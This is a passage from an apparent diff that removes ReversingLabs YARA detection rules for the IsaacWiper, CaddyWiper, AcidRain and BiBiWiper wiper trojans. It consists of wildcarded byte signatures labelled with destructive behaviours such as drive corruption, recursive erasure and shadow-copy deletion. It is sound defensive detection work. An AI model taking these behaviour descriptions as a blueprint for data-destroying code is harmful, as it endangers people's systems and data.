-            ?? 48 8D 15 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8B 54 24 ?? 48 0F 43 4C 24 ?? 48 03
-            D1 48 8D 4C 24 ?? 48 83 7C 24 ?? ?? 48 0F 43 4C 24 ?? E8 ?? ?? ?? ?? 48 83 7C 24 ??
-            ?? 48 8D 4C 24 ?? 48 8D 55 ?? 48 0F 43 4C 24 ?? 48 2B D1 90 0F B6 01 88 04 0A 48 8D
-            49 ?? 84 C0 75 ?? 0F 57 C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 45 ?? 45 33 C9 48 89 44 24
-            ?? 48 8D 55 ?? 48 8D 44 24 ?? 45 33 C0 48 89 44 24 ?? 33 C9 48 89 5C 24 ?? 48 89 5C
-            24 ?? 0F 11 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? 0F 11 44 24 ?? 66 89 5D ?? 0F
-            11 45 ?? 0F 11 45 ?? 0F 11 45 ?? 0F 11 45 ?? FF 15 ?? ?? ?? ?? 48 8B 54 24 ?? 48 83
-            FA ?? 72 ?? 48 8B 4C 24 ?? 48 FF C2 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 8B 49 ??
-            48 83 C2 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8
-            ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 4C 24 ?? 48 C7
-            44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8B 54 24 ??
-            48 0F 43 4C 24 ?? 48 03 D1 48 8D 4C 24 ?? 48 83 7C 24 ?? ?? 48 0F 43 4C 24 ?? E8 ??
-            ?? ?? ?? 48 83 7C 24 ?? ?? 48 8D 4C 24 ?? 48 8D 55 ?? 48 0F 43 4C 24 ?? 48 2B D1 90
-            0F B6 01 88 04 0A 48 8D 49 ?? 84 C0 75 ?? 0F 57 C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 45
-            ?? 45 33 C9 48 89 44 24 ?? 48 8D 55 ?? 48 8D 44 24 ?? 45 33 C0 48 89 44 24 ?? 33 C9
-            48 89 5C 24 ?? 48 89 5C 24 ?? 0F 11 45 ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24
-        }
-		$destroy_files_p1 = {
-            48 89 5C 24 ?? 55 56 57 41 54 41 55 41 56 41 57 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48
-            33 C4 48 89 44 24 ?? 4D 8B E9 4D 8B E0 4C 8B F9 48 63 BC 24 ?? ?? ?? ?? 33 F6 89 74
-            24 ?? 48 8B 05 ?? ?? ?? ?? 48 FF C0 48 89 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? 48 B8
-            ?? ?? ?? ?? ?? ?? ?? ?? 48 F7 E9 48 C1 FA ?? 48 8B C2 48 C1 E8 ?? 48 03 D0 48 69 C2
-            ?? ?? ?? ?? 48 3B C8 75 ?? 4C 8B 05 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8D 0D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 C1 E3 ?? 33 D2 49 8B C4 49 F7 F5 48
-            8B E8 48 2B EB 83 FF ?? 7E ?? 48 8D 47 ?? 48 0F AF C3 33 D2 49 F7 F4 EB ?? 48 8B D6
-            45 33 C0 49 8B CF E8 ?? ?? ?? ?? 49 8B CF E8 ?? ?? ?? ?? 48 63 C8 49 3B CC 0F 87 ??
-            ?? ?? ?? 49 8B C4 48 2B C1 49 8B FC 48 2B F9 48 3B D8 48 0F 42 FB 48 8B CF E8 ?? ??
-            ?? ?? 48 89 44 24 ?? 0F 57 C0 4C 63 F7 F3 0F 7F 44 24 ?? 48 89 74 24 ?? 85 FF 74 ??
-            48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 4C 3B F0 0F 87 ?? ?? ?? ?? 49 81 FE ?? ?? ?? ?? 72
-        }
-		$destroy_files_p2 = {
-            49 8D 4E ?? 49 3B CE 0F 86 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 48 85 C0 0F 84 ?? ??
-            ?? ?? 48 83 C0 ?? 48 83 E0 ?? 48 89 48 ?? EB ?? 49 8B CE E8 ?? ?? ?? ?? 48 89 44 24
-            ?? 4A 8D 1C 30 48 89 5C 24 ?? 4D 8B C6 33 D2 48 8B C8 E8 ?? ?? ?? ?? 48 89 5C 24 ??
-            C7 44 24 ?? ?? ?? ?? ?? 85 FF 7E ?? 48 8B DE 44 8B F7 66 0F 1F 44 00 ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 88 04 0B 48 8D 5B ?? 49 83 EE ?? 75 ?? 4D 85 ED 7E
-            ?? 4D 8B CF 41 B8 ?? ?? ?? ?? 48 8B D7 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 49 8B CF E8 ??
-            ?? ?? ?? 48 63 C8 48 8D 04 29 48 03 C7 49 3B C4 76 ?? 49 8B FC 48 2B F9 48 2B FD 48
-            85 FF 7E ?? 41 B8 ?? ?? ?? ?? 48 8B D5 49 8B CF E8 ?? ?? ?? ?? FF C6 48 63 C6 49 3B
-            C5 7C ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 90 48 8B 4C 24 ?? 48 85 C9 74 ?? 48 8B 54 24
-            ?? 48 2B D1 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48
-            83 C0 ?? 48 83 F8 ?? 77 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 33 CC E8 ?? ?? ?? ?? 48
-            8B 9C 24 ?? ?? ?? ?? 48 83 C4 ?? 41 5F 41 5E 41 5D 41 5C 5F 5E 5D C3
-        }
-
-	condition:
-		uint16(0)==0x5A4D and ( all of ($delete_shadow_copies_p*)) and ( all of ($destroy_files_p*))
-}
-rule REVERSINGLABS_Win32_Trojan_Isaacwiper : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects IsaacWiper trojan."
-		author = "ReversingLabs"
-		id = "c0924e5e-a942-57a3-a9f9-e6be6efa4c73"
-		date = "2022-03-02"
-		modified = "2022-03-02"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/trojan/Win32.Trojan.IsaacWiper.yara#L1-L76"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "c9fa43f44c33816a66f61255d101294da63df1afc5a27ed5817072040cd1eec5"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Trojan"
-		tc_detection_name = "IsaacWiper"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$enumerate_physical_drives = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 33 F6 89 55 ?? 57 89 4D ?? B3 ?? C7 45 ?? ?? ?? ??
-            ?? 89 75 ?? 84 DB 0F 84 ?? ?? ?? ?? 8B D6 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ??
-            ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? D1 E8 8D
-            8D ?? ?? ?? ?? BF ?? ?? ?? ?? 89 45 ?? 2B F8 83 C4 ?? 66 83 7D ?? ?? 8D 0C 41 8D 45
-            ?? 74 ?? 83 C0 ?? 66 83 38 ?? 75 ?? 8D 55 ?? 2B C2 D1 F8 8D 04 45 ?? ?? ?? ?? 50 8B
-            C2 8D 14 3F 50 E8 ?? ?? ?? ?? D1 E8 83 C4 ?? 3B C7 8D 48 ?? 0F 46 C1 8B 4D ?? 03 C8
-            89 4D ?? 83 F9 ?? 73 ?? 8B 3D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ??
-            6A ?? 68 ?? ?? ?? ?? 50 B3 ?? FF D7 83 F8 ?? 74 ?? 46 50 89 75 ?? FF 15 ?? ?? ?? ??
-            E9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 32 DB E9 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83
-            ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 66 85 C0 0F 95 C1 66 85 C0 0F 84 ?? ?? ?? ?? 6A ??
-            68 ?? ?? ?? ?? BA ?? ?? ?? ?? 66 89 45 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? D1 E8 8D 4D ?? BE ?? ?? ?? ?? 89 45 ?? 2B F0 83 C4 ?? 66 83
-            7D ?? ?? 8D 0C 41 8D 45 ?? 74 ?? 83 C0 ?? 66 83 38 ?? 75 ?? 8D 55 ?? 2B C2 D1 F8 8D
-            04 45 ?? ?? ?? ?? 50 8B C2 8D 14 36 50 E8 ?? ?? ?? ?? D1 E8 83 C4 ?? 3B C6 8D 48 ??
-            0F 46 C1 8B 4D ?? 03 C8 89 4D ?? 83 F9 ?? 0F 83 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ??
-            6A ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 FF D7 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 6A ?? 8D 45
-            ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 FF 15 ??
-            ?? ?? ?? 83 F8 ?? 0F 94 C3 75 ?? 33 C0 83 7D ?? ?? 0F 44 45 ?? 89 45 ?? 56 FF 15 ??
-            ?? ?? ?? 84 DB EB ?? 84 C9 0F 84 ?? ?? ?? ?? 8B 5D ?? 8B D3 8B 4D ?? 6A ?? E8 ?? ??
-            ?? ?? 8B 7D ?? 8A C8 83 C4 ?? 33 F6 84 C9 74 ?? 3B F3 74 ?? 6A ?? 8B D6 8B CF E8 ??
-            ?? ?? ?? 8A C8 83 C4 ?? 46 83 C7 ?? 84 C9 75 ?? 46 84 C9 74 ?? 8B 5D ?? 3B F3 73 ??
-            6A ?? 8B D6 8B CF E8 ?? ?? ?? ?? 8A C8 83 C4 ?? 46 83 C7 ?? 84 C9 75 ?? 8A C1 5F 5E
-            5B 8B E5 5D C3
-        }
-		$corrupt_drive_thread = {
-            55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8B 5D ?? 56 57 85 DB 0F 84 ?? ??
-            ?? ?? 83 7B ?? ?? 0F 85 ?? ?? ?? ?? 8B 43 ?? 8D 4C 24 ?? 03 C0 BA ?? ?? ?? ?? 50 53
-            E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? D1 E8 33 C9 66 89 4C 44 ?? 8D 44 24 ?? 50
-            FF D7 8B 35 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 6A ?? 8D 44 24 ?? 50
-            FF 15 ?? ?? ?? ?? 6A ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 66 83 7C 24 ?? ?? 8D 44 24
-            ?? 74 ?? 90 83 C0 ?? 66 83 38 ?? 75 ?? 8D 4C 24 ?? BA ?? ?? ?? ?? 2B C1 D1 F8 8D 04
-            45 ?? ?? ?? ?? 50 8B C1 8D 8C 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ??
-            ?? ?? ?? 50 FF D7 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D6 6A ?? 6A ?? 6A ??
-            6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 89 74 24
-            ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 8B 7B ?? 8B 5B ?? C7 44 24 ?? ?? ?? ?? ?? 85 DB 75 ??
-            81 FF ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 89 84 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 8C 84 ?? ?? ?? ?? 8B D1 C1 EA ?? 33 D1 69
-            CA ?? ?? ?? ?? 03 C8 89 8C 84 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? BA ?? ?? ?? ?? 8D
-            B4 24 ?? ?? ?? ?? 89 94 24 ?? ?? ?? ?? 0F 1F 80 ?? ?? ?? ?? 81 FA ?? ?? ?? ?? 75 ??
-            8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 94 24 ?? ?? ?? ?? 8B 8C 94 ?? ?? ?? ?? 8B C1
-            C1 E8 ?? 42 33 C8 89 94 24 ?? ?? ?? ?? 8B C1 25 ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 25
-            ?? ?? ?? ?? C1 E0 ?? 33 C8 8B C1 C1 E8 ?? 33 C1 89 06 83 C6 ?? 8D 84 24 ?? ?? ?? ??
-            3B F0 72 ?? 8B 74 24 ?? 8D 44 24 ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50
-            56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 44 24 ?? 3D ?? ?? ?? ?? 75 ?? 2B F8 83 DB ?? E9
-            ?? ?? ?? ?? 8B C7 0B C3 74 ?? 57 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 44
-            24 ?? 6A ?? 50 57 8D 84 24 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ??
-            5F 5E 33 C0 5B 8B E5 5D C2
-        }
-
-	condition:
-		uint16(0)==0x5A4D and ($enumerate_physical_drives and $corrupt_drive_thread)
-}
-rule REVERSINGLABS_Win32_Trojan_Caddywiper : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects CaddyWiper trojan."
-		author = "ReversingLabs"
-		id = "ad437f29-4ad8-5a88-a0b6-03de55e7375f"
-		date = "2022-03-15"
-		modified = "2022-03-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/trojan/Win32.Trojan.CaddyWiper.yara#L1-L95"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "178ff4171c09866f6b303bdff234beff1116d268995ee4dc236332e472d645b1"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Trojan"
-		tc_detection_name = "CaddyWiper"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$destroy_if_not_controller = {
-            50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 39 ?? 75 ?? EB ?? 8D 55 ?? 52 FF 55 ??
-            C6 45 ?? 43 C6 45 ?? 3A C6 45 ?? 5C C6 45 ?? 55 C6 45 ?? 73 C6 45 ?? 65 C6 45 ?? 72
-            C6 45 ?? 73 C6 45 ?? 00 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ??
-            C6 45 ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 83 7D
-            ?? ?? 73 ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8A 45 ?? 04 ?? 88 45 ?? EB ?? E8 ??
-            ?? ?? ?? 8B E5 5D C3
-        }
-		$erase_drive_data = {
-            C6 45 ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 4D ?? 89 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
-            6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 89 45 ?? 83
-            7D ?? ?? 74 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? 51 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 55 ?? 8B 45 ?? 50 FF 55 ?? 8A 4D ?? 88 4D ?? 8A
-            55 ?? 80 EA ?? 88 55 ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 E9 ?? 89 8D ?? ?? ??
-            ?? 85 C0 0F 85 ?? ?? ?? ?? 8B E5 5D C3
-        }
-		$erase_drives_recursively_1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? FF FF FF FF C6 85 ?? ?? ?? ?? 2A C6 85
-            ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 5C C6 85 ?? ?? ?? ?? 00 8D 85 ?? ?? ?? ?? 50 8B 4D
-            ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ??
-            ?? ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? 00 00 00 00
-            C6 85 ?? ?? ?? ?? 46 C6 85 ?? ?? ?? ?? 69 C6 85 ?? ?? ?? ?? 6E C6 85 ?? ?? ?? ?? 64
-            C6 85 ?? ?? ?? ?? 46 C6 85 ?? ?? ?? ?? 69 C6 85 ?? ?? ?? ?? 72 C6 85 ?? ?? ?? ?? 73
-            C6 85 ?? ?? ?? ?? 74 C6 85 ?? ?? ?? ?? 46 C6 85 ?? ?? ?? ?? 69 C6 85 ?? ?? ?? ?? 6C
-            C6 85 ?? ?? ?? ?? 65 C6 85 ?? ?? ?? ?? 41 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6B
-            C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 65 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 72
-            C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6E C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 65
-            C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6C C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 33
-            C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 32 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 2E
-            C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 64 C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6C
-            C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 6C C6 85 ?? ?? ?? ?? 00 C6 85 ?? ?? ?? ?? 00
-            C6 85 ?? ?? ?? ?? 00 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8
-        }
-		$erase_drives_recursively_2_p1 = {
-            8D 45 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8D 95 ??
-            ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ??
-            ?? ?? 75 ?? E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 E1 ?? 0F 84 ?? ?? ?? ?? 0F BE 95 ??
-            ?? ?? ?? 83 FA ?? 75 ?? 0F BE 85 ?? ?? ?? ?? 85 C0 74 ?? 0F BE 8D ?? ?? ?? ?? 83 F9
-            ?? 75 ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 E2 ?? 75 ?? 8B 85 ?? ?? ?? ?? 83 E0 ??
-            74 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52
-            E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 8D 95 ?? ??
-            ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8D 95 ??
-            ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85
-        }
-		$erase_drives_recursively_2_p2 = {
-            C0 75 ?? E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? 51 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? E9 ??
-            ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ??
-            ?? ?? ?? 73 ?? E9 ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 76 ?? C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 6A ?? FF 95 ?? ?? ??
-            ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4
-            ?? 6A ?? 6A ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ??
-            51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 FF 95 ?? ?? ?? ??
-            8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 55 ?? 8D 8D ?? ?? ??
-            ?? 51 8B 95 ?? ?? ?? ?? 52 FF 95 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 50 FF 95 ?? ?? ?? ?? 8B E5 5D C3
-        }
-
-	condition:
-		uint16(0)==0x5A4D and ($destroy_if_not_controller) and ($erase_drive_data) and ( all of ($erase_drives_recursively_*))
-}
-rule REVERSINGLABS_Linux_Trojan_Acidrain : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects AcidRain trojan."
-		author = "ReversingLabs"
-		id = "802c7eb7-d407-5b07-a6b4-4648d3ad80e9"
-		date = "2024-05-10"
-		modified = "2024-05-10"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/trojan/Linux.Trojan.AcidRain.yara#L1-L67"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "5b47a0de8bda09d217f8a148e561f3da7ce4945f011f4a9b5dbbca88157d3080"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Trojan"
-		tc_detection_name = "AcidRain"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$destroy_files_using_ioctls = {
-            55 89 E5 57 BF ?? ?? ?? ?? 56 53 81 EC ?? ?? ?? ?? 89 7C 24 ?? 8B 45 ?? 89 04 24 E8
-            ?? ?? ?? ?? 85 C0 89 C3 78 ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 25 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D
-            C3 8D 45 ?? BE ?? ?? ?? ?? 89 44 24 ?? 89 74 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 4D ??
-            8B 55 ?? C7 45 ?? ?? ?? ?? ?? 85 C9 89 55 ?? 74 ?? 8D 75 ?? 8D B6 ?? ?? ?? ?? 8D BF
-            ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 74 24 ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? B8 ?? ??
-            ?? ?? 89 74 24 ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 45 ?? 8B 55 ?? 01 D0 39 45
-            ?? 89 45 ?? 77 ?? 81 FA ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? C7 45
-            ?? ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 75 ?? EB ?? 31 C9 89 4C 24 ?? 8B 45 ?? 89
-            1C 24 89 44 24 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 7C 24 ?? 89 1C 24 89 44 24 ?? E8
-            ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 01 D0 39 45 ?? 89 45 ?? 76 ?? B8 ?? ?? ?? ?? 89 74 24
-            ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 74 24 ?? 89 44 24 ?? 89 1C
-            24 E8 ?? ?? ?? ?? 80 7D ?? ?? 75 ?? A1 ?? ?? ?? ?? 89 7D ?? 89 45 ?? 8B 45 ?? 89 45
-            ?? 8D 45 ?? 89 44 24 ?? B8 ?? ?? ?? ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 55 ??
-            8B 45 ?? 01 D0 39 45 ?? 89 45 ?? 77 ?? 8D 74 26 ?? 8D BC 27 ?? ?? ?? ?? 31 FF 89 1C
-            24 E8 ?? ?? ?? ?? 31 C0 89 44 24 ?? 89 7C 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 75 ?? C7
-            45 ?? ?? ?? ?? ?? 85 F6 74 ?? 8D 75 ?? 8D 76 ?? B9 ?? ?? ?? ?? 89 74 24 ?? 89 4C 24
-            ?? 89 1C 24 E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 01 D0 39 45 ?? 89 45 ?? 77 ?? 89 1C 24
-            E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D C3
-        }
-		$destroy_files_using_overwrite = {
-            55 89 E5 83 EC ?? 89 5D ?? 8B 5D ?? 8D 45 ?? 89 75 ?? 89 7D ?? C7 45 ?? ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? 89 44 24 ?? 89 1C 24 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 5D ?? 8B 75
-            ?? 8B 7D ?? 89 EC 5D C3
-        }
-		$redundant_reboot_attempts = {
-            C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F
-            84 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 85 C0 0F
-            84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 8D 76 ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04
-            24 E8 ?? ?? ?? ?? 31 D2 83 C4 ?? 89 D0 59 5B 5E 5F 5D 8D 61 ?? C3
-        }
-
-	condition:
-		uint32(0)==0x464C457F and ($destroy_files_using_ioctls) and ($destroy_files_using_overwrite) and ($redundant_reboot_attempts)
-}
-rule REVERSINGLABS_Linux_Trojan_Bibiwiper : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects BiBiWiper trojan."
-		author = "ReversingLabs"
-		id = "c370dde0-71ff-5832-b131-6d61beb02b9b"
-		date = "2023-11-28"
-		modified = "2023-11-28"
-		reference = "ReversingLabs"
